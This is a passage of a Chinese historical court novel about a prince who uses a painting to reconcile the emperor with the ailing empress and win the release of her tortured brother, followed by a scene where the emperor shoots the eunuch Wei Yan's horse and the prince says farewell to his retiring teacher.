向他重重磕了三个响头。嗑完之后,她抬眸,泪珠子顺着脸颊啪嗒啪嗒地砸到了地上, 语气哽咽: “王爷,娘娘在宫中听闻顾大人被下了狱, 心急如焚,吐了血。陛下被魏阉蒙蔽, 连娘娘的面都不肯见。娘娘说,如今唯有王爷, 或可挽回一二。求王爷看在娘娘、看在顾家满门忠烈的份上,救顾大人一命。奴婢来世结草衔环,报答王爷大恩。” 说到最后, 她整个人又伏到地上磕起了头,单薄的肩膀在深夜里瑟瑟发抖。 朱弘毅凝眉,他手中攥着那方血帕,指节寸寸收紧。 他虽脸上沉凝如水,但愤怒的火焰已他胸腔中暗流涌动。 魏琰此举,不仅是在打压顾凌云,更是对顾皇后,对整个朱氏皇权的挑衅与践踏。 朱弘毅强忍着内心翻涌的怒火,血帕在他掌中被无声地皱成了一团。 侍立在旁的周妙雅见状,忙上前一步,欲扶起如意:“如意姑娘,快请起,皇后娘娘凤体如何?宫中现下情形怎样?” 如意被她扶着,踉跄起身,泪却掉得更凶,摇头道:“娘娘自得知消息后便一病不起,陛下未曾问过。宫中各处都是魏琰的眼线,奴婢此番是冒了天大的风险,躲在送恭桶的车里,九死一生才得以出来。” 朱弘毅沉默良久,他阖上眼,深吸了一口气,再睁开时,眼底的怒涛已被强行压下,取而代之的是近乎残酷的冷静。 那是和他自小形影不离,一同长大,血浓于水的亲哥哥。 他太了解他那位皇兄了。 朱弘毅开口,声音压得极低:“此事,只能智取,不能硬碰硬。” “皇兄耳根子软,自幼被乳母,内侍三两句软话就能牵着走。如今龙袍加身,更是成全了魏琰。凡是奏疏先过司礼监,再进御案,如今他只听得到魏琰想让他听到的,只看得到魏琰想让他看到的。” 说罢,他负手踱步到窗前,望着皇宫的方向,目光锐利如鹰,仿佛要穿透厚重的宫墙,看清他那位被权宦圈禁的兄长。 “此刻若我贸然进宫为顾凌云求情,非但救不了人,反而会坐实魏琰构陷的结党罪名。魏琰只需在皇兄耳边轻描淡写几句,说顾家与亲王勾结,意图不轨,那便是万劫不复。” 周妙雅心下一沉,她明白朱弘毅说的是最残酷的现实。 朱弘毅转身,烛火在他脸上投下明暗交错的阴影。 他望向周妙雅,眸色深沉,带着孤注一掷的决绝。 他缓缓开口,声音忽然放轻,轻得近乎请求: “妙雅,我需要你画一幅画。” 周妙雅微微一怔。 朱弘毅的声音低缓,却字字灼心:“画中场景是新婚的东宫,太液池水新绿,梧桐刚抽嫩芽。画中少年于梧桐树下抚琴,少女侍立在一旁斟酒。他们新婚燕尔,琴瑟和鸣,互相看着对方的眼中,闪烁着光…” “魏琰挑拨至今,帝后离心,他更是用最卑劣的手段,绝了皇后腹中的血骨。皇兄心底,未必无愧,只是被谗言与权力蒙蔽,不愿、也不敢去面对。” 朱弘毅抬眸,眸底深沉如井:“我需要你用文家祖传的笔法真意,将皇兄心底那一点不敢碰的软,将那份被遗忘的,最初的温存与信赖,重新画出来,送到他眼前。” 朱弘毅走近两步,声音压得更低,思路清晰地阐述着他的计划:“我们自苏州归来,按例,我尚未向皇兄复命,禀明沿途见闻,顺带呈上地方风物与士绅敬献,这是个绝佳的机会。” 他目光掠过偏殿一角,那儿并排放着几只黑漆螺钿画筒,筒盖还贴着仇方亲押的朱砂小印。 “筒中现有仇方所赠《江南四季》与钱轂,张复合画的描绘运河沿途风光的《水程图》数卷。待早朝后,我便将它们带进乾清宫,借复命之便,将你画的那幅帝后旧影夹入其中。皇兄知我素有赏画之癖,此番呈画,合情合理,不会惹人怀疑。魏琰即便再手眼通天,也难以在无数画卷中,提前甄别出每一幅的内容。” 朱弘毅声音低缓,像将箭矢一寸寸推上弓弦:“当皇兄批阅奏章乏了,自会命人展卷,欣赏这江南美景与风土人情。他会在不经意间,看到你笔下的太液池,梧桐影,看到他自己和皇嫂当年的模样。这里没有咄咄逼人的谏章,只有画卷中忽然活 过来的少男少女,让记忆自己开口,比千万句控诉更狠。” 这确是一步险棋,却也是一步妙棋。 正所谓,杀人诛心,这步棋若是走的得当,即便是魏琰筑了铜墙铁壁,也会不攻自破。 周妙雅瞬间明白了朱弘毅的全部意图。 他不是要替顾凌云喊冤。 直接喊冤,是把自己的脖子往魏阉的刀口上送;而他要的,是让皇帝自己把刀收回去。 只要那幅画能勾起皇帝内心哪怕一点点温软,只要皇帝对皇后心生一丝怜惜与追悔,那么作为皇后唯一的胞弟,顾家仅存希望的顾凌云,处境便会自然而然有了转圜的余地。 这比任何言语的求情都更巧妙,也更危险。 一旦被魏琰察觉,后果将不堪设想。 周妙雅望向朱弘毅眸中深沉的期望,感受着他手中血书的千金重量,她没再犹豫半分。 “好。” 她声音清晰而坚定,“我画。” 朱弘毅的目光便转向仍跪在地上,惶惶不安的如意。他上前一步,虚扶了一下,语气沉稳: “如意,起来吧。此计已定,你且宽心。” 如意抬起泪眼。 朱弘毅继续道:“你即刻回宫,务必谨慎,不可让任何人察觉你今夜来过。回去后,悄悄禀告皇后,就说……” 他顿了顿,字句清晰:“就说本王已知晓,让她务必保重凤体,勿要再作践自身。后续之事,本王自有安排,让她静候佳音便可。” 如意心中那块巨石总算稍稍落下几分,她再次重重磕头,声音哽咽却带着一丝希望:“奴婢代娘娘,谢过王爷大恩,奴婢这就回宫,定将王爷的话带到!” 她站起身,用袖子胡乱抹去脸上的泪痕,重新罩好斗篷,如同来时一般,悄无声息地融入了夜色之中。 ————— 三日后,朱弘毅换了一身亲王常服,锦衣玉带,带上长安,抱着精致的螺钿画筒,径直入了宫。 乾清宫里,熏香袅袅,浮着龙涎香气息,反为大殿内凭添了几分沉滞。 朱弘睿倚在御案后,比起数月前更清减了些,眉宇间凝着一丝挥之不去的倦怠。 魏琰如影随形地侍立于御阶之下,低眉顺目,像一道阴冷的影子。 殿内异常素静,满殿的宫人矗立在一旁,连大气都不敢喘一声。 朱弘毅上前来,依礼而拜,他并未提及任何朝局纷争,只含笑说起此番南下的见闻,打破了殿内的沉静。 “皇兄,您是没亲眼瞧见,这江南春日,确是别有一番风味。运河两岸,桃红柳绿,油菜花开得漫山遍野,如同泼了金粉一般。” 他语气轻松,带着几分闲适,仿佛此生只会在画舫听雨,茶山煮雪,再不管人间炊烟。 至于沿途所见的焚毁书院,强征祠饷,苏州街头的民变与血腥镇压,他绝口未提一字。 “臣弟在苏州,特意去眠云堂拜访了文老太爷的关门弟子,仇方先生。” 朱弘毅适时引出这个话题,语气中带着赞赏与钦佩: “仇先生虽隐居市井,于画道一途却是见解独到,正所谓是,藏千山万壑于胸臆,与他探讨笔墨气韵,令臣弟受益匪浅。” 魏琰半隐在灯影里,眼皮倏然一挑,细长的眸中一道寒光一闪而逝,随即又恢复了古井无波。 朱弘睿似被勾起了些许兴趣,脸上倦容稍减:“哦?吾弟素来眼高于顶,能得你如此赞誉,想必那位仇先生确有过人之处。” “皇兄慧眼。” 朱弘毅笑道:“臣弟与他相谈甚欢,得他慨赠佳作,加之臣弟沿途搜罗的一些还算入眼的画作,今日特地带进宫来,请皇兄鉴赏品评,也算臣弟此番南行的一点心意。” 朱弘毅微一抬手,随侍太监旋开画筒,抽轴,展竿,悬画,一幅幅精美的画轴便一字排开来,立于皇帝面前。 画作题材多是江南风光,或是运河沿岸美景,渔舟唱晚,小桥流水,一派太平盛世的恬淡景象。 朱弘睿起身,踱步至画作前,一幅幅地看过去,偶尔抬首,问及笔墨技法,朱弘毅皆从容应答,只论画,不及其他。 行至最后一幅,他却忽然停驻,目光凝于绢上,再未移开。 那幅画,既非气势磅礴的山水,亦非精细工巧的花鸟,而是一幅带着朦胧暖意的旧日场景。 画中湖面波光粼粼,梧桐刚抽新芽,道袍少年横琴于膝,指未动,却含笑,云鬓少女倾身斟酒,侧影如月,唇角一弯浅羞,将满未满的杯中美酒,漾得比春水还软。 画作无题无款,只右下角一枚小小的闲章,刻着“长相忆”三个字。 画者笔意极其温柔细腻,夕阳夕照,池畔微风,并那一点不沾尘的缱绻,都被细细收拢进笔墨中,画中人深情对视,一击即中人心最软的那寸血肉。 朱弘睿盯着那幅画,好像想起了什么往事,他指尖骤停,凝在纸面一寸之上,良久。 他望着画中那抚琴的少年,斟酒的少女,眼底闪过一瞬恍惚,仿佛被拉回了那段早已被刻意尘封的岁月。 遥想当年,他是东宫太子,她是父皇为他选定的,从五千秀女中脱颖而出的太子妃,太液池边的琴声酒香,似乎还萦绕在鼻尖耳畔。 魏琰敏锐地察觉到了皇帝情绪的细微变化,他上前半步,细声细气地道:“陛下,这些江南画作虽好,看久了也伤神,不如先歇息…” 朱弘睿却置若罔闻,指尖终是落在画中女子侧颜,极轻地摩挲着。 朱弘毅垂袖侧立,面色平静,心弦却早已紧绷。 他今日能做之事,至此已尽。 此计成与不成,皆在天意,亦在皇兄本心。 第69章 朱弘睿的目光定格在那幅画上, 寸步未移,许久。 他背对着众人,宫人们看不清他的脸色, 只能屏着呼吸, 小心翼翼地侍奉着, 深知圣意难测。 他本欲继续挑画的手在空中顿了一瞬,终是失了方向,无声地按在了眼前画中的梧桐树枝干上。 “都退下。” 皇帝嗓音低涩,带着沙哑,声音回荡在空旷的乾清宫中。 侍立的宫人们如蒙大赦,却不敢发出太大响动,齐齐躬身, 悄无声息地鱼贯退向殿外。 魏琰与朱弘毅,也跟着人群一同往殿外退去。 只是, 魏琰的眉尾轻轻颤动了一下。 刚刚在御阶之下, 他站得最近,皇帝那一瞬气息翻涌,旁人未觉, 他却看得清清楚楚。 他抬起松垮的眼皮,目光阴鸷地瞥了一眼那幅画, 眼风扫过正恭顺退往殿外的朱弘毅。 朱红色的殿门自外阖上,发出“吱呀”一声轻响。 殿内只余铜鹤烛台中火苗跳跃, 映着皇帝孤寂修长的身影。 乾清宫外,喧嚣散去。 “宁王殿下。” 一道阴柔的嗓音自朱弘毅身侧传来。 朱弘毅脚步微顿, 他侧首望去,是魏琰,正袖手立于门影深处。 “魏公公请讲。”朱弘毅仍是一副天塌下来也无关紧要的闲散模样, 唇角挑着一丝浅淡的笑意。 魏琰向前踱了半步,声音压得只够两人听见:“殿下这趟江南之行,看来真是收获颇丰,快活得很啊。” 他字里行间快活二字,咬得格外意味深长。 朱弘毅好似全然未听出他弦外之音,他的笑意仿若更深了些,顺着他的话头叹道: “魏公公说的极是,江南的春色,那可是活脱脱的绢本画,确是名不虚传。正所谓杜樊川所言,千里莺啼绿映红,又如白乐天所言,春来江水绿如蓝。花一开便占尽人间三分色,到处都透着别处没有的灵秀气。本王这些年困在京城,倒是差点忘了天地间还有这等好风光。” 说罢,他看向魏琰,眼底仿若真掺了三分诚意:“魏公公侍奉皇兄多年,鞠躬尽瘁,劳苦功高。若真得闲暇,也应去江南走一遭,不为其他,权当散心便好。江南那般景致,不愧是古往今来文人骚客魂牵梦绕之地。置身其境,便是再多俗务烦扰,都能卸净了去。” 他这番话,说得可谓滴水不漏,全然一副沉醉山水、不谙世事的模样。 魏琰盯了他一瞬,眼尾的褶子微微抽动,勉强扯出一个笑:“殿下美意,老奴心领了。只是老奴这副残躯,还得留下伺候陛下。” 话落,他微微颔首一折,既不是谢,也不是拜,只将一声不阴不阳的轻笑咽了回去,袖袍一荡,转身便离 开了。 朱弘毅立在汉白玉阶前,目送他背影消失,瞬间敛去脸上笑意,眸底聚着寒光。 他回头望向那两扇紧闭的朱漆殿门,门缝深幽,透不出半分动静。 不知殿内的帝王,对着那幅画,在想什么? ———— 乾清宫内终于沉入了死寂。 朱弘睿仍立在画前,一动不动。 烛火将投在地面上的身影拉得极长,伴着火焰的跳跃微微晃动。 他俯身抬手,指尖悬在画上,轻轻描摹着画上抚琴少年的轮廓。他动作轻柔,不敢落重半分,好似生怕惊到画中人。 画中少年修眉剑目,神采飞扬,嘴角噙着朗润的笑意。 那是独属于东宫太子朱弘睿的意气风发,是如今的泰和帝朱弘睿,再也寻不回的模样。 而画中他身侧的斟酒少女,眉眼弯弯,梨涡轻陷,面颊泛着淡淡的红晕。 那是她眼底的光还未曾熄灭之前的模样,那是他的东宫太子妃,如今的皇后——顾云舒。 “阿舒…” 一声极低极低的呢喃,从他唇齿间溢出。 声音轻如雪落,生怕惊到独属于画中人十七岁的笑。 他下意识地迈着步,在本能的驱使下,径直朝着坤宁宫的方向走去。 他要去寻回他的阿舒… 他屏退了所有宫人,独自一人穿过熟悉的宫道,画中的景象与眼前冰冷的宫墙在他脑海中不断地交错。 待朱弘睿再回神时,他人已立在坤宁宫大门外。 守门的两个小太监远远瞥见龙袍的一角,还当是自己眼花看岔了。 直到他走近,小太监们膝盖一软,慌忙下跪:“皇…” 话还没说完,便被朱弘睿制止。 他抬步进殿,径直朝暖阁走去,越往里走,药味愈发浓郁。 他的心一点点沉了下去。 暖阁内,只点了几盏昏暗的明角灯。 顾云舒躺在榻上,脸色苍白,呼吸轻浅,鬓边几缕乌发散在颊侧,整个人仿佛随时都会消散。 不过月余未见,她竟已瘦削憔悴至此。 朱弘睿在榻前顿住了脚步,他看着眼前的一幕,胸腔陡然窜起一股无名火。 他猛地转头,目光如寒刃般扫过满殿匍匐跪地的宫人,厉声斥责道: “皇后病的如此重,为何无人来报与朕知晓?” 帝王震怒的声音如雷霆般劈下,宫人们只得伏的更低,额头抵着冷砖,无一人敢答话。 一片死寂中,榻上的人似被惊动了。 顾云舒长睫轻颤,艰难地睁开了眼。 待她看清楚榻前之人是谁时,黯淡的眸中拂过了一丝诧异。 不是惊喜,是早已习惯的别离。 诧异旋即被疲惫与哀伤覆去。 她的唇角微微动了下,想说什么,却被掩不住的咳止住。 她挣扎着,从厚重的锦被下伸出腕骨伶仃的手,颤颤地想去止他的怒火: “皇爷…莫要生气…” 朱弘睿胸腔里那团无名火瞬间被浇熄,他仓皇俯身,小心翼翼地用自己温热的手,包裹住了那只因冰冷而颤抖的手。 触/手一片惊人的凉,骨头硌着掌心,瘦的只剩下棱角。 他心头被猛地勒紧… “朕再问最后一遍,皇后病重至此,为何不报?” 跪在一旁的如意终是撑不住,“咚”地一声将额头砸了下去,额角渗出的血反而让她生出了破釜沉舟的勇气。 “陛下!娘娘是听闻…听闻顾佥事被下了诏狱,急火攻心,才吐了血,一病不起。奴婢等贱命,死不足惜,可朝政如天,谁敢拿娘娘的私情去惊扰圣听。” “如今既已瞒不住,奴婢愿豁出这条命,只求陛下,救救娘娘,也救救顾家最后的清名。” 说罢,她俯身又磕起头,全然不顾渗血的额角,砸地的闷响比之前更重。 朱弘睿的身形猛地一僵,所有未尽的斥责都堵在了喉咙里。 他缓缓转头,温柔地看向他的阿舒。 顾云舒的手指在他掌心中轻轻颤着,她努力想撑出一抹无事的笑,却连唇角都抬不动。 顾凌云,被下诏狱… 魏琰的手笔… 他握着她的手不自觉地收紧了些,指腹轻轻摩挲着她冰凉的指节。 他想起了那幅画。 太液池水波潋滟,梧桐树下,少年抚琴,少女捧酒,她抬眼的一瞬,眸子里盛满了整个盛夏的明亮。 他终究,还是把她弄丢了。 那个会羞怯、会亮着眼唤他殿下的少女, 再也回不来了。 他喉结滚动了一下,千言万语冲到嘴边,却硬生生被咽了下去,最后只挤出一句哑得不成调的话: “阿舒,对不起…朕,来迟了。” 顾云舒的手任由他握着,没有挣脱,也没有回应。 她仿佛早已耗尽了爱意,只是疲惫地闭着眼,唯有眼角一点点湿意,悄悄渗出,滑入鬓边。 太医背着药箱,踉跄着被带了进来,扑通一声跪倒在地。 朱弘睿眼锋未抬,目光依旧锁在皇后脸上,声音冷硬:“皇后的病,究竟如何?如实说,若有半分隐瞒,朕决不轻饶!” 太医跪伏在地,虽因惊惧身上打着颤,却不敢有丝毫隐瞒:“回…回陛下…皇后娘娘此症,确是因急火攻心,郁结于内,加之凤体本就虚弱,以致气血逆乱,方有呕血之症。眼下脉象细弱,需得按时服用汤药,静心安养,万万不可再受刺激,否则恐伤及根本,于凤体痊愈大为不利。” 朱弘睿紧了紧握着顾云舒的手,仿佛要把自己身上所有的热度都渡给她。 他垂眸看着皇后苍白的侧颜,那些“急火攻心”,“不可再受刺激”的字眼,不断在他脑海中徘徊。 诏狱,顾凌云… 这一切的源头,他心知肚明。 朱弘睿阖了阖眼,深吸了一口气。他尝试着,将暴怒,无力,愧疚一并咽了回去。 再开口时,只余帝王的威压: “都听见了?” “皇后需静养,从今日起,坤宁宫一应事务,以皇后凤体为要。太医署每日遣最好的太医轮值候命,药膳食补,皆需经太医查验。若再让朕知道,有任何人,任何事,惊扰了皇后静养…” 他顿了顿,声音清晰,似每个字都带着刺骨的寒意: “朕绝不姑息。” 宫人们伏着地,连牙关都在打颤,却死死咬住不敢露出一丝声响。 朱弘睿挥了挥手,声音中带着浓浓的疲惫:“都退下吧。” 宫人们如蒙大赦,几乎是屏着呼吸,悄无声息地退了出去,连那太医也被内侍扶着,躬身退至外间等候。 殿内终于彻底安静下来,烛火摇曳,只剩下他们两人。 第70章 朱弘睿守在顾云舒榻前, 一夜未合眼。 坤宁宫暖阁内的药香浓的好似把他带入了一场旧梦,梦里有她,他却怎么也抓不住。 他的梦时断时醒, 梦醒时他下意识地紧了紧手中握着的冰凉的手, 指腹轻轻摩挲着她因病而瘦的突出的指节。 借着药力, 顾云舒沉睡着,她不动,也不回应,呼吸轻的像羽毛掉落。 朱弘睿嘴里喃喃自语,低声呼唤着 她的小字,声音哑的不像帝王,而像个走投无路的乞儿:“阿舒…别这样罚我。” 更鼓三声, 他惶然起身,已到了该上早朝的时间。 他恍恍然从坤宁宫走出, 脚步踩在空旷的宫道上, 像只提线木偶。 早朝时分,金銮殿上,他强提起一口气, 端坐如仪,听臣工奏事, 偶尔点头诺许,确保分寸不失。 直到鸿胪寺高唱退朝, 他仿佛长舒了一口气,瘫坐在龙椅之上, 像一具被遗落的空壳。 喧闹早已散去,良久… 朱弘睿开口,声音带着一丝彻夜未眠的沙哑:“大伴。” “老奴在。” 魏琰从殿柱旁的阴影中趋出, 躬身应着。 朱弘睿的声音带着一丝疲惫:“备驾,去西山猎场。” “你随侍。” 魏琰眼皮微抬,旋即垂下:“是,老奴这就去安排。” ———— 西山猎场,旌旗招展,万骑屏息。 只余草木被铁骑碾压的沙沙声与兵甲相撞的簌簌声。 朱弘睿跨上黝黑发亮的汗血宝马,弓开如满月,却迟迟未发一箭,他目光掠过那些惊慌逃窜的獐鹿野兔,不知心里在想什么。 就在这时,一阵急促的马蹄声自身侧不远处传来。 魏琰身着深紫色贴里,胯/下一匹枣红色的良驹,从他前方不远处疾驰而过,马速极快,卷起草屑飞扬。 他不似追逐猎物,似在试探虎口。 刹那间,朱弘睿那拉得如满月般的弓,竟直直对准了魏琰。 “咻——!” 一支雕翎箭破空而出,裹挟着尖锐的呼啸,精准无比地,死死钉入了那匹枣红色骏马的脖颈。 血花迸溅,枣红色骏马仰天哀嚎,凄惨地嘶鸣了一声,旋即前蹄跪折,轰然侧翻在地。 马背上的魏琰根本来不及反应,整个人被巨大的惯性狠狠摔了出去,重重滚落到数丈开外。 瞬间,草屑与尘土漫天飞扬。 整个猎场如死寂一般。 侍卫,勋贵,连同被惊起的飞鸟,都僵住了。 朱弘睿缓缓放下弓,他手臂稳健,好似刚刚什么都没发生一般。 他驱马,缓步而行,居高临下地行至瘫软在地、正挣扎着要爬起来的魏琰面前。 年轻的帝王带着威仪端坐于鞍上,俯眼望去——— 但见魏琰挣扎着抬首,面无血色。强撑着浑浊的老眼,恐惧且不可置信地看向那个他自他小时候就陪伴在侧的帝王。 好一个伴君如伴虎,看来幼虎也长出了锋利的獠牙。 他仓皇地撑起半身,手脚并用地想要跪好,却因摔得不轻,狼狈到连跪都跪不成样子。 朱弘睿面无表情地垂目,视线在他的脊背上停留一瞬,如同看一件随时可以摒弃的长物。 他缓缓启唇,声线不高,却字字清晰: “大伴。” 魏琰跪地伏首,这称呼忽然传入他耳中,让他身上猛地一颤,伏地的姿态变得更低。 “朕平日里,念你伺候殷勤,便容你三分。许多事,朕睁一只眼,闭一只眼。” 朱弘睿语速很慢,却将一字一句钉入死寂: “但朕有两条底线,你需得记牢了。” 他微微俯身,目光如锥,刺向魏琰: “皇后与宁王,是你动不得的人。” 说罢,朱弘睿直身,瞥了一眼那匹还在抽搐,血流不止的马,仿如老鹰冷血地审视自己的猎物:“今日,且念在你多年服劳之功,便让这畜牲代你受死,你本人,朕不再追究。” 年轻的皇帝话音落地,魏琰那口憋着的气才猛地喘了出来,随即便是如捣蒜般的磕头。 额头重重砸在泥土上,闷声如鼓: “老奴…谢陛下天恩!老奴罪该万死!老奴谨记!老奴永世不忘!谢陛下不杀之恩!” 一声比一声重,一声比一声碎。 他那暗紫色的贴里滚满草屑与泥土,哪里还有半分往日权倾朝野,连皇子龙孙都要避让几分的九千岁模样?全然似一条被掐七寸的毒蛇,即使嗑到额头渗血,也不敢停下半分。 朱弘睿不再看他,调转马头,只淡淡吩咐一句:“回宫。” 侍卫们这才敢大声喘气,连忙整队,随着帝王离去的脚步疾驰而去。 空地上只留下那匹尚温的死马,以及那条佝偻的老影。 对着疾驰而去的帝王仪仗,还在不住地磕头。 ———— 诏狱的铜闩,是在一个天色阴沉的午后打开的。 两名狱卒半拖半架,将一团人形随手掷在诏狱门外冰冷的石阶下。 那人蜷缩着,中衣早被鞭刃撕成碎缕,破碎的布料被暗红色的血污粘连在伤口上,凝固的血块结成了硬痂。 是顾凌云。 他脸朝下扣在石阶上,一动不动。乱发遮住了面容,唯有肩背处极其微弱的起伏,才勉强能证明这团东西是活物。 顾府的老管家早带着两个忠仆守在门外,一见这情形,瞬间就红了眼眶。三人忙冲上去,小心翼翼地将人翻了过来。 顾凌云双目紧闭,浑身滚烫,唇皮干裂成一小块一小块的,气息微弱而急促。 “大人!大人!”老管家声音发颤,连忙用早已备好的厚绒毯将他裹得严严实实。 两个忠仆一左一右,像捧着易碎的瓷瓶一样将人托起,轻手轻脚,连呼吸声都压着,生怕颠碎了他。 几人合力,终于把顾凌云抬上了早已候在一旁、铺满软垫的马车。 马车悄无声息地驶入顾府侧门。 他们吃力地把人抬入内室。 周妙雅和王老太医提着药箱,已在这里等候许久。 那个曾经意气风发、令宵小闻风丧胆的锦衣卫,此刻像一具被彻底打碎了骨头的躯壳,软倒在床榻之间,不省人事。 周妙雅走近,仔细检查着顾凌云身上的伤口。 那身伤,如被恶鬼撕裂一般,触目惊心。 鞭痕密密麻麻,皮肉翻卷,边缘红肿溃烂,鼓胀流脓。 伤口深可见骨,不断有黄稠的脓水渗出。高热如烈火,从体内熊熊燃烧,很快将他吞噬。 周妙雅倒吸一口冷气… 入诏狱,如入鬼门。先剥官袍,再剥人皮。 顾凌云陷入了深沉的昏迷。 火一上来,皮肤能烙红铁,寒一过去,好似骨头缝里能渗出冰来,牙关咬得咯吱响。 下人们手忙脚乱的,额上的冷巾刚覆上去,眨眼就被烫得冒热气,换都来不及。 参汤刚喂进去,便顺着嘴角全数漏出,混着药味淌到颈窝,将软枕渍湿成一片。 周妙雅专业而冷静,不带丝毫闺阁女子的羞涩与畏惧,上前仔细查看着每一处伤口。 她侧身对守在一旁的顾府丫鬟吩咐道:“滚水放温,剪白棉布,四指宽,一掌长,要极干净的。” 丫鬟端来温水,周妙雅亲自拧了棉布,从额角开始,一点点地帮顾凌云擦拭身体。 清理伤口是最耗时的,王老太医年事已高,眼神也不大好,周妙雅便在他的指导下亲力亲为。 溃烂处需要小心地剜去腐肉,动作必须极轻,极准,稍有不慎便会带来剧痛。 即便在昏迷中,顾凌云的身体也会因疼痛而猛地绷紧,发出压抑的闷哼。 周妙雅的手极稳,眼都不眨,只在他颤势将过未过之际,快刀斩乱麻,削至健康皮肉。 直到腐肉除尽,她才用袖子极快地拭一下额角渗出的细汗。 药箱中她带来的金疮药,是她翻烂了《肘后》《千金》等古书,拉着王老太医反复斟酌改良的,清淤化腐的效果极好。 她亲手调制药粉,用小银匙一点点敷在伤口上,再用洁净的棉布重新包扎。 喂药比清理伤口更为艰难。 她让人拿锦袱垫高顾凌云的头颈,自己则侧身坐稳。 她一手端着药碗,一手用小小的银匙,撬开他紧闭的牙关,将温热的药汁一点点渡进去。 大半的药都沿着嘴角流了出来,她就耐心地擦拭干净,再喂下一勺。一碗药,往往要耗上小半个时辰。 老管家几次悄悄进来,想劝她去歇息,都被她摇头拒绝。 “我既来了,总要看到他热度退下去些才安心。”她说着,目光始终没有离开榻上的病人。 更漏三声,丫鬟倚着脚踏打盹,周妙雅却依旧守在榻前,就着一盏昏黄的油灯,不时探手试试他额头的温度。 窗外竹影摇风,更鼓一声又一声,她就那样安静地守着。 直到顾凌云因梦魇忽然皱眉,喉间溢出短促的呓 语—— 她俯身,轻轻按住他无意识挥舞的手臂,低声安抚道:“没事了。” 昏迷中,顾凌云不知是听到了还是本能,他指节缓缓松开,眉心仍蹙,却不再挣扎。 天色泛青,窗棂透进第一缕鱼肚白。 榻上人额间的热度终于退了半分,呼吸也匀长了起来,像绷紧的弦松了一格。 周妙雅这才长舒一口气。 她就着盆中的清水净了手,对醒来的丫鬟低语道:“我去外间靠一会儿,若有事,立刻叫我。”—— 作者有话说:明日诚邀您共同见证小朱小周初吻和表白! 天启四年春,魏忠贤在宫中骑乘自己的爱马“如意骢”表演骑射,得意之余竟驰至御前并扬鞭跃马。朱由校不怒反笑,挽弓一箭射穿马首,宝马当场毙命,魏忠贤坠马跪地求饶,皇帝这才“贷以不死”。 杨涟在弹劾魏忠贤“二十四大罪”的疏中把这件事列为第二十四条,原文写道: “夫宠极则骄,恩多成怨。闻今春忠贤走马御前,陛下射杀其马,贷以不死。” 此即“忠贤驰马御前,上射杀其马”一语所本,也是《天启宫词》里所记的同一件轶事。《 》 70-80 第71章 夜色如墨, 一辆青帏马车驶出正阳门,向南经永定门外官道,一路下坡往通州方向疾驰。 徐明阳褪去绯袍玉带, 只披一件洗得已发白的深灰直裰, 他身子半倚着车壁, 任车厢轻晃。 天子已于朝堂之上,准了他致仕的奏本。 这位昔日的内阁次辅,天子帝师,此刻正凭窗静望,心灰意冷。 窗外是大片大片的农田,在夜色中显得格外深沉。 徐明阳的目光平静如水,只有偶尔掠过荒芜的田埂时, 他眸底才会闪过一丝痛色。 执缰驭马的不是别人,正是他昔年最器重的学生、今上之嫡弟——宁王殿下。 更深露重, 朱弘毅玄色大氅的领沿已凝上寒霜, 他控马的力道很稳,车速不疾不徐。 至通州码头,换马循运河南岸官道东去, 便可直趋天津卫。 “殿下…” 徐明阳启唇,声音低哑:“就送到这里罢。” 朱弘毅缰绳微收, 马车稳稳停在道旁,他翻身下车, 回身探臂,亲自扶徐明阳下车。 徐明阳握着他的手臂, 摇头低叹:“殿下送至此处,已是天恩。老夫如今布衣之身,若传得宁王殿下夜驾车辕, 亲自相送,明日言官便又要掀起风波。” 朱弘毅沉默良久,终是开口:“老师…” 他声音微哑,挽留的话在喉结打转,却终究没能说出口。 徐明阳收回视线,看着夜色下学生挺拔而孤清的身影,只淡淡一笑:“京城如今这个是非窝,老夫年岁大了,精力不济,也看够了翻云覆雨。康敏之长袖善舞,魏琰权倾朝野,那些年轻的兴社学子…热血是可敬的,可这朝局,岂是单凭一腔热血就能荡清的?” 话及痛处,他轻轻摇头,似欲将那些纷杂的旧事一并甩落:“由他们争权,由他们斗法,老夫只想寻一块清净田地,做些实实在在的事情。” 朱弘毅心中情绪翻涌,却连半个字也无法说出口,他明白为今之道,朝局纷乱,有才者被排挤,热血者被摧折,自己不过一个闲王,纵有筋骨也扭不动这泥潭。 他默立片刻,终是垂眸低语道:“学生明白,这田垄间的学问,总比朝堂的干净。” 徐明阳笑了笑,终也没说什么,只见他探手入袖,捧出个油纸小包,就着月色层层剥开,里面露出几枚歪拙的块茎与一把饱满籽粒。 他看着手中的东西,声音忽透出几分鲜活气:“瞧,这是艾儒略神/父日前托人自极西的新大陆带来,此物名唤土豆,耐贫耐瘠,亩产惊人,可活万众。” 他指尖轻轻拂过那些丑拙的块茎,如同抚摸珍宝:“还有这玉米,不择田地,山坡旱地皆可种植。” 良久,他抬起眼,目光穿过月色,望向学生沉静的侧脸:“殿下,为师一生,主张经世致用。取西学之道,并非奇技淫巧,实为取彼之长,补我之短,造福于民。如今北地灾荒连连,饥民流徙,朝廷党争不休,赈济之策空悬纸面,我留在京城,与诸公争义利之辨,于事何补?不若归隐,寻一畦试验之田,育此新种。若果真能成…或许,便多几条性命可活。” 朱弘毅默默听着,他懂得老师的选择。 在满朝的虚辞与倾轧中,老师选择俯身向田,替百姓争一**命粮。 朱弘毅转身走向马车,探入车厢暗格,捧出一囊沉甸甸的银两,双手奉上:“老师,此去天津卫落脚,处处需用银钱,这些是学生的一点心意,请您万勿推辞。” 徐明阳垂目扫过那锦袋,他未作推辞,伸手接过。沉甸甸的锦袋压进掌心,他明白,这不止是金银,更是学生以沉默相托的底气。 他深深地望向朱弘毅,万语千言,只凝成一句:“京城云谲波诡,殿下万要保重。” 朱弘毅拱手,深深一揖:“学生谨记老师教诲,望老师…珍重。” 徐明阳点点头,不再多言,将那包珍贵的种子仔细收好。他背起行囊,翻身上马,没入亭外最浓的夜色中,向天津卫方向疾驰而去,头也不回。 朱弘毅独立在寒风之中,目送着老师的背影被黎明前的黑暗逐渐吞没,久久未动。 ———— 卯时刚过,天光已大亮,朱弘毅拖着沉重的步子回到了宁王府。 他彻夜未眠,眉宇间带着一丝倦色,玄色大氅沾满了晨露与尘土的气息。 他原想先去暖阁,老师辞官,他满腹委屈,只想先看她一眼。 他清楚,往常此时,周妙雅早已起身,或在窗前读书作画,或在院中照料花草。 然而此刻,暖阁内空无一人,只有晨曦透过窗棂,安静地洒在空荡荡的暖榻上。 “长安。” 侍卫应声而入,垂首不语。 “人呢?” 长安听出他语气中已有些许怒意,只得低声回道:“回殿下,周女官昨夜去了顾府。顾大人被从诏狱放了出来,伤势极重,人都被折磨得脱了形,还发着高烧…她与王老太医一同赶去,在榻前守了一夜,寸步未离。” 